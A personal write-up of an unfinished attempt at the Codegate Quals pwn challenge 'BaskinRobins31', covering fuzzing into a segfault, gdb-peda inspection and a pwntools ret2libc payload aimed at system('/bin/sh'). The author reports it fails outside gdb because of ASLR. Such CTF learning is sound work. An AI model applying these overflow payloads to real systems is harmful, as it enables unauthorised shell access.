Codegate Quals - Pwn (BaskinRobins31)

This was my first official CTF (minus me dabbling in RE challenge here and there), so let’s see what I managed. Unfortunately, I didn’t make it by the deadline. Looking at the write-ups now, I was definitely in over my head, but I learned the shit out of ROP.

The Challenge

Codegate Challenge Window

The Download link downloads a file named “4b9a5f57118bcfb6db1d0991af9e4159”. I unzip it with the unzip command, and the zip extracts a file named “BaskinRobins31”. I give it execute permissions and run file on it.

root@kali:~/Documents/CTF/Codegate# file BaskinRobins31 
BaskinRobins31: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, BuildID[sha1]=4abb416c74a16aaa8b4c9c6c366bed445c306037, not stripped

Cool, let’s run it and start throwing stuff at it.

root@kali:~/Documents/CTF/Codegate# ./BaskinRobins31 
### This game is similar to the BaskinRobins31 game. ###
### The one that take the last match win ###
There are 31 number(s)
How many numbers do you want to take ? (1-3)

remaining number(s) : 29 
I've taken 1 number(s)
remaining number(s) : 28 
How many numbers do you want to take ? (1-3)

Don't break the rules...:( 
remaining number(s) : 28 
How many numbers do you want to take ? (1-3)

remaining number(s) : 26 
I've taken 2 number(s)
remaining number(s) : 24 
How many numbers do you want to take ? (1-3)

Don't break the rules...:( 
remaining number(s) : 24 
How many numbers do you want to take ? (1-3)

Don't break the rules...:( 
Segmentation fault

Ah, I love the sight of a segfault. So clearly, we’ve got a buffer overflow. Let’s see what’s going on in gdb, starting at the Read function.

RAX: 0xda 
RBX: 0x0 
RCX: 0x7ffff7b088d1 (<__GI___libc_read+17>:	cmp    rax,0xfffffffffffff000)
RDX: 0x190 
RSI: 0x7fffffffe0f0 ('A' <repeats 200 times>...)
RDI: 0x0 
RBP: 0x7fffffffe1a0 ('A' <repeats 41 times>, "\n\244\367\377\177")
RSP: 0x7fffffffe0e0 --> 0x7fffffffe0f0 ('A' <repeats 200 times>...)
RIP: 0x4008f9 (<your_turn+85>:	mov    QWORD PTR [rbp-0x10],rax)
R8 : 0x7ffff7fc44c0 (0x00007ffff7fc44c0)
R9 : 0x0 
R10: 0x38b 
R11: 0x246 
R12: 0x400780 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe2a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
   0x4008ec <your_turn+72>:	mov    rsi,rax
   0x4008ef <your_turn+75>:	mov    edi,0x0
   0x4008f4 <your_turn+80>:	call   0x400700 <read@plt>
=> 0x4008f9 <your_turn+85>:	mov    QWORD PTR [rbp-0x10],rax
   0x4008fd <your_turn+89>:	mov    rdx,QWORD PTR [rbp-0x10]
   0x400901 <your_turn+93>:	lea    rax,[rbp-0xb0]
   0x400908 <your_turn+100>:	mov    rsi,rax
   0x40090b <your_turn+103>:	mov    edi,0x1
0000| 0x7fffffffe0e0 --> 0x7fffffffe0f0 ('A' <repeats 200 times>...)
0008| 0x7fffffffe0e8 --> 0x7fffffffe1b8 ('A' <repeats 17 times>, "\n\244\367\377\177")
0016| 0x7fffffffe0f0 ('A' <repeats 200 times>...)
0024| 0x7fffffffe0f8 ('A' <repeats 200 times>...)
0032| 0x7fffffffe100 ('A' <repeats 200 times>...)
0040| 0x7fffffffe108 ('A' <repeats 193 times>, "\n\244\367\377\177")
0048| 0x7fffffffe110 ('A' <repeats 185 times>, "\n\244\367\377\177")
0056| 0x7fffffffe118 ('A' <repeats 177 times>, "\n\244\367\377\177")
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004008f9 in your_turn ()

So it writes over the stack. We can probably use this to return to anywhere we want in the program by overflowing until we reach the return address. I quickly look up the address of system:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a63d40 <__libc_system>

and the string “/bin/sh”

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9be95 --> 0x68732f6e69622f ('/bin/sh')

And append them to my input in little-endian form: \x40\x3c\xa6\xf7\xff\x7f \x95\xbe\xb9\xf7\xff\x7f

From here on, I just played with the number of A’s and nulls (\0) until the first address was placed in the first stack position, and the second address was placed right after. I eventually ended up with

from pwn import *

#r = remote('', 3131)
#GOT addr: 

r = process("./BaskinRobins31")

r.recvuntil('How many numbers do you want to take ? (1-3)')
r.send("A"*182 + "\0\0\x40\x3d\xa6\xf7\xff\x7f\0\0" + "\x95\xbe\xb9\xf7\xff\x7f\0\0")


I ran the input with gdb and system(/bin/sh) correctly executed, but it didn’t run correctly locally outside of gdb or in the remote server.

Right. ASLR.

At this point, I started out trying to leak the GOT address, hence the unfinished comment on it in the code, but time ran out. I tried coming back to finish the problem a couple of days later, but the server was pulled down already.

Oops! Gotta start earlier next time!